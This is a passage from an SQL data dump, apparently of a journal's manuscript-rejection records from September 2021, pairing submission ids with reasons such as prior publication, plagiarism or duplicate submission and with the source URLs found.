Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjL1JbTt43zAhU_8XMBHYA9CkoQFnoECAYQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fa-novel-approach-to-prevent-endothelialteardetachment-in-combined-advancedpseudoexfoliation-syndrome-anddiabetes-mellitus.php%3Faid%3D30949&usg=AOvVaw3X5pjD1148QmTzCLUlERf2','2021-09-20'),(1620,5779,2,'','Already Published\r\nhttps://pubmed.ncbi.nlm.nih.gov/33605243/','2021-09-20'),(1621,5757,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiAzamIuI3zAhUF93MBHQTeCYIQFnoECAYQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fa-comparative-study-of-maternal-and-childhealth-outcomes-of-pregnant-women-livingwith-and-without-disability-in-kakamegacounty-ken.php%3Faid%3D29795&usg=AOvVaw28P7ae9btIo1KFGaD7StdS','2021-09-20'),(1622,5761,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjk3NGZuI3zAhWIIbcAHcpyAdEQFnoECAQQAQ&url=https%3A%2F%2Fwww.ijsr.net%2Fget_abstract.php%3Fpaper_id%3DSR21112110916&usg=AOvVaw0InvxcJjaKju7874pEXKrW','2021-09-20'),(1623,5764,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjdxa-yuI3zAhUjmuYKHTAIAZUQFnoECAIQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Frelation-of-food-addiction-in-overweightobesity-depression-and-impulsivity-asystematic-review-and-metaanalysis.php%3Faid%3D29794&usg=AOvVaw30F5rxo11VRxSCLtEwfNZQ','2021-09-20'),(1624,5768,2,'','Already Published\r\nhttps://www.hsj.gr/medicine/lavenderrsquos-aromatherapy-to-decrease-anxiety-scale-patient-with-premastectomy-surgery-in-the-operation-theatre-murni-teguh-memo.php?aid=31002','2021-09-20'),(1625,5729,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjr3JPguI3zAhX78HMBHRjwDM8QFnoECAUQAw&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fprevalence-and-predictors-of-stunting-amongchildren-of-age-between-6-to-23-monthsin-four-districts-of-wolaita-zone-southernethiopi.php%3Faid%3D29847&usg=AOvVaw3uXMvRJdekMOj6KzPpXg0k','2021-09-20'),(1626,5659,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjjttrvuI3zAhX0_XMBHZPrDIgQFnoECAIQAQ&url=https%3A%2F%2Fwww.longdom.org%2Fopen-access%2Fprevalence-of-anemia-and-associated-risk-factors-among-pregnant-women-attending-antenatal-care-in-selected-health-centers-in-addis-2167-0420-1000443.pdf&usg=AOvVaw1jJYS1_D2-CZlVrw7OvDJo','2021-09-20'),(1627,5437,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjh7IyuuY3zAhX47XMBHRJJAqUQFnoECAYQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fmind-and-machine-two-sides-of-the-same-coin.php%3Faid%3D29792&usg=AOvVaw1kB5NQcdGH1yfUDXz0cQy2','2021-09-20'),(1628,5466,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjq39i_uY3zAhXi7XMBHTk6CpUQFnoECAQQAQ&url=https%3A%2F%2Fbehaviouralscience.imedpub.com%2Fchlorine-manufacturing-industry-and-workrelated-voice-disorders-and-their-hazards.pdf&usg=AOvVaw0mW_ncHl-GSwnYQAHvRIHo','2021-09-20'),(1629,5467,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwikiu7RuY3zAhWv8HMBHSY2DxwQFnoECAIQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fhigh-blood-pressure-hbp-and-shiftwork-sw-an-assessment-of-the-frenchrailwaysworkers-sncf.php%3Faid%3D34287&usg=AOvVaw0XTCkQJFHfuXHBmeGbIiaV','2021-09-20'),(1630,5389,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjtjZfguY3zAhU38XMBHXmmBC4QFnoECAIQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fhigh-blood-pressure-from-alucam-groupsworkers-the-impact-of-the-activity.php%3Faid%3D29793&usg=AOvVaw0lC5i9f5XiG80lxA1hXqqS','2021-09-20'),(1631,5390,2,'','Already Published, It Is Not A Review Article\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiC2sLwuY3zAhVkILcAHc8YCY8QFnoECAIQAQ&url=https%3A%2F%2Fwww.hsj.gr%2Fmedicine%2Fhigh-blood-pressure-hbp-and-shiftwork-sw-an-assessment-of-the-frenchrailwaysworkers-sncf.php%3Faid%3D34287&usg=AOvVaw0XTCkQJFHfuXHBmeGbIiaV','2021-09-20'),(1632,10476,2,'','Similar To Https://pubmed.ncbi.nlm.nih.gov/30895005/','2021-09-20'),(1633,10473,2,'','Similar To Https://pubmed.ncbi.nlm.nih.gov/30292055/','2021-09-20'),(1634,10475,2,'','Similar To Https://www.sciencedirect.com/science/article/pii/S1991790212000645','2021-09-20'),(1635,10481,2,'','Plagiarized Beyond The Permitted Level And Most Of The Content Available At Https://en.wikipedia.org/wiki/Health_economics','2021-09-20'),(1636,6488,2,'','Already Published:https://www.journalajcrs.com/index.php/AJCRS/article/view/30175','2021-09-20'),(1637,5815,2,'','Already Published\r\nhttps://pediatric-emergency-care.imedpub.com/the-characteristics-risk-factors-and-visual-outcomes-of-the-preterm-infant-with-retinopathy-of-prematurity-rop-in-a-tertiary-care.pdf','2021-09-20'),(1638,6485,2,'','Already Published: Https://www.imedpub.com/articles/elemental-analysis-and-risk-assessment-of-soil-and-vegetables-from-a-crude-oilpolluted-area-in-lagos-state-nigeria.pdf','2021-09-20'),(1639,6464,2,'','Already Published: Https://obesity.imedpub.com/prevalence-of-obesity-among-a-group-of-kirkuk-women.pdf','2021-09-20'),(1640,5666,2,'','Already Published\r\nhttps://www.openaccessjournals.com/articles/demographic-and-clinical-characteristics-of-immune-thrombocytopenia-in-sudanese-children.pdf','2021-09-20'),(1641,5646,2,'','Already Published\r\nhttps://journals.plos.org/plosone/article?id=10.1371/journal.pone.0191225','2021-09-20'),(1642,5648,2,'','Already Published\r\nhttps://pubmed.ncbi.nlm.nih.gov/28926632/','2021-09-20'),(1643,5651,2,'','Already Published\r\nhttps://pubmed.ncbi.nlm.nih.gov/28107459/','2021-09-20'),(1644,5639,2,'','Already Published\r\nhttps://crimsonpublishers.com/icp/pdf/ICP.000538.pdf','2021-09-20'),(1645,5644,2,'','Already Published\r\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC5917195/','2021-09-20'),(1646,5610,2,'','Already Published\r\nhttp://journalcra.com/article/study-effect-telmisartan-hypertension','2021-09-20'),(1647,5608,2,'','Duplicate,\r\nhttps://www.sciencedirect.com/science/article/pii/S2666535220300525','2021-09-20'),(1648,5518,2,'','Duplicate Submission\r\nhttps://www.sciencedirect.com/science/article/abs/pii/S1871403X19305472','2021-09-20'),(1649,4793,2,'','Already Published\r\nhttps://ir-library.ku.ac.ke/bitstream/handle/123456789/22314/Trimester%20Related%20Reference%20Interval....pdf?sequence=1&isAllowed=y','2021-09-20'),(1650,5987,2,'','Already Published Https://www.imedpub.com/articles/fast-food-chains-and-obesity-in-oman-commentary-article.pdf','2021-09-20'),(1651,5832,2,'','Published In 2020\n\nhttps://www.scivisionpub.com/pdfs/integrating-psychotherapies-in-a-systemic-approach-to-addiction-treatment-in-family-therapy-a-case-study-1324.pdf','2021-09-20'),(1652,6004,2,'','Already Publishedhttps://www.imedpub.com/articles/evaluation-of-microbiological-quality-in-expired-andnonexpired-dairy-canned-food-products-sold-from-samaru-marketzaria-northwest-n.pdf','2021-09-21'),(1653,5972,2,'','Already Published Https://scholarworks.waldenu.edu/cgi/viewcontent.cgi?article=8938&context=dissertations','2021-09-21'),(1654,5977,2,'','Already Published Https://escipub.com/ojgh-2020-08-2805/','2021-09-21'),(1655,5929,2,'','Already Published Https://medicalphysics.imedpub.com/dosimetric-effects-of-co60-and-ir192-source-step-size-in-intra-luminal-brachytherapy.php?aid=32726','2021-09-21'),(1657,10641,2,'1657-plagrism.pdf','withdrawn','2021-09-21'),(1658,5918,2,'','Already Published  Https://www.researchgate.net/publication/350383914_Antihyperlipidemic_and_cardioprotective_effects_of_plant_natural_products_A_review','2021-09-21'),(1659,5900,2,'','Already Published \nhttps://www.imedpub.com/articles/recent-emerging-gut-microbiome-management-modalities-in-acute-diarrhea-in-children-a-comparative-study-review-of-different-probiot.pdf','2021-09-21'),(1660,5483,2,'','Already Published\r\nhttps://www.imedpub.com/articles/adverse-effects-of-aspirin-on-the-gastrointestinal-tract--brain.pdf','2021-09-21'),(1661,5484,2,'','Already Published\r\nhttps://www.imedpub.com/articles/detection-of-ddos-attack-using-traffic-analysis.php?aid=33723','2021-09-21'),(1662,10598,2,'','High Match With:\n\nhttps://theconversation.com/human-evolution-is-still-happening-possibly-faster-than-ever-105683','2021-09-21'),(1663,10610,2,'','Duplicate Content\r\nhttps://www.imedpub.com/articles/implications-of-patients-after-acute-myocardial-infarction.php?aid=39633','2021-09-21'),(1664,10611,2,'','Plagiarized Content\r\nhttps://www.imedpub.com/articles/enhanced-condition-of-detection-and-treatment-of-adult-patients-with-epilepsy-disorder.pdf','2021-09-21'),(1665,5427,2,'','Already Published\r\nhttps://www.scitechnol.com/abstract/analysis-of-the-muscular-activity-of-anticipation-of-the-deltoid-in-a-fall-reception-movement-pilot-study-11718.html','2021-09-21'),(1666,5419,2,'','Already Published\r\nhttp://www.remedypublications.com/open-access/a-30-year-old-oral-contraceptive-user-with-mild-covid-19-6510.pdf','2021-09-21'),(1667,5474,2,'','Plagiarized\r\nhttps://www.scitcentral.com/article/54/1628/Lassa-Fever-in-A-Health-Care-Worker-The-Place-of-High-Index-of-Suspicion:-A-Case-Report','2021-09-21'),(1668,5351,2,'','Duplicate Title\r\nhttps://www.researchgate.net/publication/349536400_Impact_of_Nursing_Intervention_Protocol_about_Polytrauma_Care_during_the_Golden_Hour_on_Nurses\'_Performance','2021-09-21'),(1669,6451,2,'','Already Published: Https://www.imedpub.com/articles/esp-blockanesthetic-management-in-fragile-patient-case-report.pdf','2021-09-21'),(1670,10580,2,'','Too Short Title','2021-09-21'),(1671,6438,2,'','Already Published: Http://www.remedypublications.com/open-access/a-case-report-successful-deceased-donor-renal-transplant-in-a-6530.pdf','2021-09-21'),(1672,5408,2,'','Already Published','2021-09-21'),(1673,5394,2,'','Already Published\r\nhttps://www.inderscienceonline.com/doi/abs/10.1504/IJNT.2018.098451','2021-09-21'),(1674,5395,2,'','Already Published\r\nhttps://www.inderscience.com/info/inarticle.php?artid=98452','2021-09-21'),(1675,5396,2,'','Already Published\r\nhttps://www.inderscienceonline.com/doi/abs/10.1504/IJNT.2018.098449','2021-09-21'),(1676,5399,2,'','Already Published','2021-09-21'),(1677,10583,2,'','Add Full Article Title','2021-09-21'),(1678,10636,2,'','Duplicate Submission','2021-09-21'),(1679,10589,2,'','Too Short Article Title','2021-09-21'),(1680,10513,2,'','Already Submitted','2021-09-21'),(1681,10516,2,'','Already Published: Https://www.tandfonline.com/doi/full/10.1080/13561820.2021.1943336','2021-09-21'),(1682,10657,2,'','Title Is Incomplete','2021-09-21'),(1684,4114,2,'','ALREADY PUBLISHED\r\nhttps://pediatric-emergency-care.imedpub.com/emergency-department-resource-utilization-in-the-management-of-croup.pdf','2021-09-21'),(1685,3650,2,'','Already Published  Https://www.hsj.gr/medicine/a-success-story-how-botswana-is-winning-the-war-against-coronavirus.pdf','2021-09-21'),(1686,3681,2,'','Already Published \n Https://www.hsj.gr/medicine/prevalence-determinants-and-prevention-of-type-2-diabetes-mellitus-t2dm-in-arabic-countries-a-systematic-review-study.php?aid=26717','2021-09-21'),(1687,5319,2,'','Revise The Content','2021-09-21'),(1688,3337,2,'','Https://www.hsj.gr/medicine/effects-of-orally-ingested-already Published Paprikaxanthophylls-on-respiratory-metabolismduring-endurance-exercise-study-protocolfor-an-interventio.php?aid=26476','2021-09-21'),(1689,3299,2,'','Already Published Https://www.hsj.gr/medicine/the-relationship-between-nursesjob-satisfaction-and-organizationalcommitment.php?aid=26494','2021-09-21'),(1690,2922,2,'','Https://www.hsj.gr/abstract/protein-microarray-analysis-of-already Published Solublernbiomarkers-in-fertile-and-postmenopausalrnwomen-in-relation-to-obesity-bone-statusrnand-blood-cell-populations-26498.html','2021-09-21'),(1691,2974,2,'','Already Published Https://www.hsj.gr/medicine/datadriven-statistical-modeling-andanalysis-of-the-survival-times-of-multiplemyeloma-cancer.php?aid=26497','2021-09-21'),(1692,2743,2,'','Available At Http://www.envirobiotechjournals.com/AJMBES/vol22i32020/AJ-16.pdf','2021-09-21'),(1693,6431,2,'','Published In Nov 2020\n\nhttps://www.imedpub.com/articles/bacteremia-in-febrile-neutropenic-cancer-patients-in-egypt.pdf','2021-09-21'),(1694,4217,2,'','Available At Https://digital.wpi.edu/downloads/gx41mm231?locale=en','2021-09-21'),(1695,10666,2,'1695-plagrism.docx','irrelevant','2021-09-22'),(1696,550,2,'','Already  Published \r\nhttps://www.hsj.gr/medicine/practice-of-road-safety-measures-among-kenyatta-university-and-united-states-international-university-students-in-nairobi-county-k.php?aid=24606','2021-09-22'),(1697,4356,2,'','Https://www.imedpub.com/proceedings/research-intoon-diseases-and-pharmacognosy-and-natural-medicine-and-medical-science-8015.html\r\n\r\nArticle Already Published','2021-09-22'),(1698,4268,2,'','Tile Already Exists Https://pubmed.ncbi.nlm.nih.gov/32439235/','2021-09-22'),(1699,4314,2,'','Article Already Published \r\nhttps://www.imedpub.com/articles/what-are-the-barriers-to-increase-breast-cancer-screening-in-india.pdf','2021-09-22'),(1700,4238,2,'','Plagarised\r\nhttps://www.intellimed.org/pdf/HF-article-EJPMR.pdf','2021-09-22'),(1701,4245,2,'','Article Already Published\r\nhttps://www.imedpub.com/articles/peripartum-cardiomyopathy-it-is-possible-to-make-a-prenatal-diagnosis.php?aid=29326','2021-09-22'),(1702,4231,2,'','Article Already Published\r\nhttps://interventional-radiology.imedpub.com/the-value-of-threedimensional-mr-imaging-in-displaying-triangularfibrocartilage-complex.pdf','2021-09-22'),(1703,4145,2,'','Article Already Published\r\nhttps://pesquisa.bvsalud.org/portal/resource/pt/sea-205370','2021-09-22'),(1704,4152,2,'','Article Already Published\r\nhttps://link.springer.com/article/10.1007/s13193-020-01237-w','2021-09-22'),(1705,4172,2,'','Article Already Published\r\nhttps://www.medrxiv.org/content/10.1101/2020.06.03.20121137v1','2021-09-22'),(1706,4162,2,'','Plagiarized\r\nhttp://pubs.sciepub.com/aees/8/5/10/index.html','2021-09-22'),(1707,4157,2,'','Article Already Published\r\nhttps://medicalphysics.imedpub.com/computed-tomography-ct-automatic-exposure-controls-aec-testing-protocol-using-a-celt-phantom.php?aid=26990','2021-09-22'),(1708,4112,2,'','Https://www.wjpps.com/Wjpps_controller/abstract_id/13031','2021-09-22'),(1709,10640,2,'','Content Is Already Online\r\nhttps://vaccination.vaccineconferences.com/','2021-09-22'),(1710,10642,2,'','Content Is Already Published Online','2021-09-22'),(1711,10647,2,'','Https://scholarspace.manoa.hawaii.edu/handle/10125/3477','2021-09-22'),(1712,4101,2,'','Https://mansapublishers.com/IJCR/article/view/2409','2021-09-22'),(1713,10534,2,'','High Degree Of Match\n\n\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC3162647/','2021-09-22'),(1714,5305,2,'','Already Published: Https://www.imedpub.com/articles/surgical-approach-to-complicated-abdominal-metastasis-of-cutaneous-melanoma.pdf','2021-09-22'),(1715,4078,2,'','Https://www.imedpub.com/articles/tissue-engineering-for-the-temporomandibular-joint-an-updated-review.php?aid=26998','2021-09-22'),(1716,5295,2,'','Already Published:http://ijcrr.com/uploads/3758_pdf.pdf','2021-09-22'),(1717,5264,2,'','Already Published: Https://www.imedpub.com/articles/kleptomania-and-other-disinhibition-linked-withpseudobulbar-affect-resulting-from-tbi-treatmentremission-from-dextromethorphanquin.pdf','2021-09-22'),(1718,5260,2,'','Already Published: Https://www.imedpub.com/articles/screening-and-repositioning-of-the-drugs-that-possess-binding-affinity-towards-notch-1-receptor-thereby-inhibiting-cell-proliferat.pdf','2021-09-22'),(1719,5238,2,'','Already Published: Https://www.hilarispublisher.com/open-access/the-effect-of-tahajud-prayer-history-on-attention-postacute-stress-exposure.pdf','2021-09-22'),(1720,5107,2,'','Already Published:https://opastonline.com/wp-content/uploads/2018/10/laparoscopic-pancreatic-pseudocystogastrostomy-series-case-report-jgds-18.pdf','2021-09-22'),(1721,5185,2,'','Already Published:https://www.imedpub.com/articles/the-values-of-cytokines-in-evaluating-theseverity-and-prognosis-of-covid19.pdf','2021-09-22'),(1722,5213,2,'','Already Published:https://journals.plos.org/plosone/article/comments?id=10.1371/journal.pone.0235063','2021-09-22'),(1723,5106,2,'','Already Published: Https://www.imedpub.com/articles/is-neurocognition-crucial-in-stem-education-in-the-present-scenario.pdf','2021-09-22'),(1724,5086,2,'','Already Published: Https://www.imedpub.com/articles/ai-and-robotics-air-solution-validation-platform.php?aid=33290','2021-09-22'),(1725,6338,2,'','Not Coming Under Drug Or Medicine Research','2021-09-22'),(1726,4055,2,'','Https://www.imedpub.com/articles/successful-pregnancy-in-a-patient-with-recurrent-pregnancy-loss-due-to-afibrinogenemia-managed-with-cryoprecipitate-prophylaxis-in.pdf','2021-09-22'),(1727,6339,2,'','Not Coming Under Drug Or Medicine Research','2021-09-22'),(1728,5081,2,'','Https://pharmascope.org/index.php/ijrps/article/view/4364','2021-09-22'),(1729,4053,2,'','Https://www.imedpub.com/articles/deeplearning-based-cubesats-detection-and-attitude-estimation.pdf','2021-09-22'),(1730,5072,2,'','Https://www.imedpub.com/articles/nonelectric-applications-to-help-reduce-environmental-impacts.pdf','2021-09-22'),(1731,10626,2,'','Https://en.wikipedia.org/wiki/Peripheral_stem_cell_transplantation','2021-09-22'),(1732,10627,2,'','Https://www.tandfonline.com/doi/full/10.1080/08830185.2021.1969795','2021-09-22'),(1733,4004,2,'','Http://www.scientizepublishers.com/wp-content/uploads/2021/03/Malaria-in-A-Single-Kidney-Donor-Case-Report-from-Taranaki-New-Zealand.pdf','2021-09-22'),(1734,3954,2,'','Https://obesity.imedpub.com/bariatric-surgery-in-morbid-obesity-patient-can-cure-pulmonary-hypertension-and-obstructive-apnea-a-case-review.php?aid=26918','2021-09-22'),(1735,3916,2,'','Https://www.imedpub.com/articles/the-impact-of-physical-exercise-on-brain-health-and-physiology-of-depressed-individuals.pdf','2021-09-22'),(1736,3973,2,'','Https://www.longdom.org/open-access/discusses-everything-about-wuhan-virus-in-a-research-paper-for-a-scopus-indexed-conference-on-crystallography-and-struct.pdf','2021-09-22'),(1737,3826,2,'','Https://www.rcvmonline.com/article.asp?issn=2251-9572;year=2020;volume=9;issue=2;spage=52;epage=54;aulast=Aliramezany','2021-09-22'),(1738,3850,2,'','Https://obesity.imedpub.com/longterm-maintenance-of-weight-loss-following-removal-of-intragastric-balloon-a-brief-communication.pdf','2021-09-22'),(1739,3837,2,'','Http://rc.rcjournal.com/content/65/Suppl_10/3441516.short','2021-09-22'),(1740,3757,2,'','Https://www.semanticscholar.org/paper/The-Chemical-Components-and-Pharmacological-of-Qin-Liu/f221f94d38fd616cfdcfb687e17ab370f4578940','2021-09-22'),(1741,6302,2,'','Published In Nov 2020\n\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC7678886/','2021-09-22'),(1742,3795,2,'','Https://www.imedpub.com/articles/a-novel-approach-in-automated-bengali-text-summarizing-by-statistical-and-sentence-similarity-method.php?aid=28640','2021-09-22'),(1743,6260,2,'','Published In 2020\n\nhttps://saspublishers.com/media/articles/SJMCR_810_894-897.pdf','2021-09-22'),(1744,5068,2,'','Already Published\r\nhttps://www.longdom.org/open-access/effects-of-polymer-injectivity-concentration-on-timevariation-relative-permeability.pdf','2021-09-22'),(1745,10544,2,'','High Match Percent\n\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC4144268/','2021-09-22'),(1746,6236,2,'','Published In Feb 2021\n\nhttps://journals.scholarpublishing.org/index.php/AIVP/article/view/9266','2021-09-22'),(1747,5026,2,'','Already Published: Https://clinical-experimental-nephrology.imedpub.com/persistent-preformed-donorspecific-antibodies-and-clinical-risks-of-de-novo-donorspecific-antibody-development-after-kidney-transp.php?aid=28377','2021-09-22'),(1748,5020,2,'','Already Published\r\nhttps://www.scitechnol.com/proceedings/effective-balance-rehabilitation-in-cerebral-palsy-the-use-of-translingual-neurostimulation-tlns-12307.html','2021-09-22'),(1749,4949,2,'','Already Published\r\nhttps://psychopathology.imedpub.com/abstract/psychopathological-identification-of-roles-in-induced-delusional-research-article-37155.html','2021-09-22'),(1750,4960,2,'','Already Published: Https://www.longdom.org/open-access/solidstate-nmr-crystallography-from-catalytic-active-complexes-to-enzymes.pdf','2021-09-22'),(1751,4960,2,'','Already Published\r\nhttps://www.longdom.org/open-access/solidstate-nmr-crystallography-from-catalytic-active-complexes-to-enzymes.pdf','2021-09-22'),(1752,4977,2,'','Already Published: Http://www.remedypublications.com/open-access/biomarkers-for-diagnosis-and-management-of-eosinophilic-asthma-5986.pdf','2021-09-22'),(1753,5021,2,'','Lready Published: Https://www.longdom.org/open-access/headache-in-pediatric-and-adolescent-patients-with-duchenne-and-becker-muscular-dystrophiesan-observational-study-56963.html','2021-09-22'),(1754,4977,2,'','Already Published\r\nhttp://www.remedypublications.com/open-access/biomarkers-for-diagnosis-and-management-of-eosinophilic-asthma-5986.pdf','2021-09-22'),(1755,4907,2,'','Already Published\r\nhttps://www.academia.edu/43451877/Health_Literacy_Role_towards_Changing_on_Health_Behavior_of_Girl_Students','2021-09-22'),(1756,4830,2,'','Already Published\r\nhttps://ijppr.humanjournals.com/quantitative-and-qualitative-analytical-techniques-for-doxepin-hydrochloride-an-overview/','2021-09-22'),(1757,4860,2,'','Already Published\r\nhttps://www.imedpub.com/articles/secure-data-sharing-of-health-care-data-using-smart-contract.pdf','2021-09-22'),(1758,3743,2,'','Https://www.imedpub.com/articles/a-case-of-emphysematous-cystitis-with-bone-metastasis-infiltrating-fromhepatocellular-carcinoma-case-report-and-literature-review.pdf','2021-09-22'),(1759,4872,2,'','Already Published\r\nhttps://www.imedpub.com/articles/visuallyguided-robotic-machining-of-complex-components.php?aid=33379','2021-09-22'),(1760,3621,2,'','Https://www.imedpub.com/articles/improving-the-methodological-basis-for-assessing-regulatory-policy-in-theagricultural-sector-areas-for-further-research.php?aid=28796','2021-09-22'),(1761,3734,2,'','Https://www.imedpub.com/articles/capsule-based-aerosol-generationtest-article-conservation-during-the-conductof-in-vivo-lead-optimization-respiratory-safety-assess.php?aid=29321','2021-09-22'),(1762,3633,2,'','Https://interventional-radiology.imedpub.com/vaping-and-acute-respiratory-distress-syndrome-in-interventional-radiology.pdf','2021-09-22'),(1763,3655,2,'','Https://www.imedpub.com/articles/predicting-the-performance-of-primary-school-students.pdf','2021-09-22'),(1764,3596,2,'','Https://www.imedpub.com/articles/neutrophil-gelatinaseassociated-lipocalin-ngal-as-a-biomarker-of-iron-deficiency-among-egyptian-haemodialysis-patients.pdf','2021-09-22'),(1765,3535,2,'','Https://www.imedpub.com/articles/surgical-experience-for-prosthetic-valve-infective-endocarditis.pdf','2021-09-22'),(1766,3523,2,'','Https://medicalphysics.imedpub.com/experimental-determination-of-linear-attenuation-coefficient-of-gamma-ray-in-zinc-foil-at-different-energies.pdf','2021-09-22'),(1767,3569,2,'','Https://medicalphysics.imedpub.com/demographic-study-of-changing-core-body-temperature-in-categories-of-human-subjects-for-health-implication.pdf','2021-09-22'),(1768,3392,2,'','Https://www.internationaljournalssrg.org/IJAC/paper-details?Id=95','2021-09-22'),(1769,3340,2,'','Https://www.imedpub.com/articles/integration-of-learning-management-system-lms-into-teaching-and-learning-a-synergy-for-improving-students-learning-outcome-in-tert.php?aid=34093','2021-09-22'),(1770,10547,2,'','Kindly Revise As Match Percent Is High','2021-09-22'),(1771,4807,2,'','Already Published: Https://obesity.imedpub.com/obesityrelated-inflammation-and-covid19-prognosis-is-the-white-adipose-thevillain.pdf','2021-09-22'),(1772,4749,2,'','Already Published: Https://www.scholarsresearchlibrary.com/abstract/effect-of-natural-gas-purity-on-hvof-coatings-using-a-commercial-powder-of-d1008rniron-based-on-a-forged-low-alloy-steel-51793.html','2021-09-22'),(1773,4766,2,'','Already Published: Https://dergipark.org.tr/tr/download/article-file/1174147','2021-09-22'),(1774,4730,2,'','Already Published: Https://medicalphysics.imedpub.com/validating-the-percentage-depth-doses-using-two-different-phantom-materials.php?aid=28456','2021-09-22'),(1775,4791,2,'','Already Published: Https://www.pulsus.com/scholarly-articles/review-of-cotton-leaf-curl-virus-clcuv-alongwith-its-strains-clcumuv-and-clcubuv.pdf','2021-09-22'),(1776,6435,2,'','Https://www.imedpub.com/articles/analysis-of-molecular-variance-amova-a-bio-mathematical-approach-in-complete-genomes-of-sarscov2.php?aid=34371','2021-09-23'),(1777,6413,2,'','Https://colorectal-cancer.imedpub.com/small-cell-neuroendocrine-carcinoma-of-the-anorectal-region-about-acase-report-and-review-of-the-literature.php?aid=33857','2021-09-23'),(1778,6353,2,'','Https://www.imedpub.com/articles/a-new-approach-to-prevent-the-ddos-attack-and-xml-injection-attacks-using-xsd-trace-handler-in-web-service.php?aid=34369','2021-09-23'),(1779,6243,2,'','Https://pediatric-cardiology.imedpub.com/single-day-pattern-of-cases-reported-to-a-busy-paediatricechocardiography-laboratory-of-a-tertiary-care-hospital-inbangladesh.pdf','2021-09-23'),(1780,10550,2,NULL,'others','2021-09-23'),(1781,6291,2,'','Https://www.researchgate.net/publication/345317630_Implementation_of_Inter-Networking_with_Host_Internet_in_OracleR_VirtualBox_Guest_Virtual_Machines','2021-09-23'),(1782,4635,2,'','Already Published\r\nhttps://www.imedpub.com/articles/neurone-expressions-in-some-regions-of-brain-of-the-helmeted-guinea-fowlnumida-meleagris-galeata-a-posthatch-study.pdf','2021-09-23'),(1783,4594,2,'','Already Published\r\nhttps://www.hsj.gr/medicine/covid19-the-hypothesis-of-cohabitation.php?aid=30159','2021-09-23'),(1784,6218,2,'','Https://jmscr.igmpublication.org/home/index.php/archive/186-volume-09-issue-03-march-2021/9937-stauffer-s-syndrome-a-rare-case-report','2021-09-23'),(1785,4593,2,'','Already Published\r\nhttps://escipub.com/ajcrr-2020-07-1705/','2021-09-23'),(1786,4616,2,'','Already Published\r\nhttps://pubmed.ncbi.nlm.nih.gov/33364851/','2021-09-23'),(1787,10545,2,'','Https://onlinelibrary.wiley.com/doi/10.1111/jphp.13241','2021-09-23'),(1788,6179,2,'','Https://www.imedpub.com/articles/forex-data-analysis-using-weka.php?aid=33274','2021-09-23'),(1789,4497,2,'','Already Published\r\nhttps://innovareacademics.in/journals/index.php/ijcpr/article/view/39772/23633','2021-09-23'),(1790,4560,2,'','Already Published\r\nhttps://actascientific.com/ASMI/pdf/ASMI-03-0644.pdf','2021-09-23'),(1791,4472,2,'','Already Published\r\nhttps://healthcare-communications.imedpub.com/from-ebola-to-covid19-reshaping-funerals-and-burial-rites-in-africa.pdf','2021-09-23'),(1792,6151,2,'','Https://www.imedpub.com/articles/cissampelos-pareiras-tale-from-the-benevolent-world-of-medicinalplants.pdf','2021-09-23'),(1793,4383,2,'','Already Published\r\nhttps://www.imedpub.com/articles/alternative-medicine-2017-local-perceptions-on-the-status-values-and-conservation-and-ethnobotanical-implications-of-medicinal-and.pdf','2021-09-23'),(1794,4442,2,'','Already Published\r\nhttps://kosmospublishers.com/covid19-dilemmas-in-securing-vulnerable-fragile-at-extra-risk-cohorts-not-left-behind/','2021-09-23'),(1795,4469,2,'','Already Published\r\nhttps://www.imedpub.com/articles/analysis-of-the-static-postural-balance-at-3-months-after-hallux-valgus-surgery-controlledstudy.pdf','2021-09-23'),(1796,4362,2,'','Already Published: Https://jrenhep.com/index.php/jrenhep/article/view/78','2021-09-23'),(1797,4362,2,'','Already Published\r\nhttps://jrenhep.com/index.php/jrenhep/article/view/78','2021-09-23'),(1798,4331,2,'','Already Published: 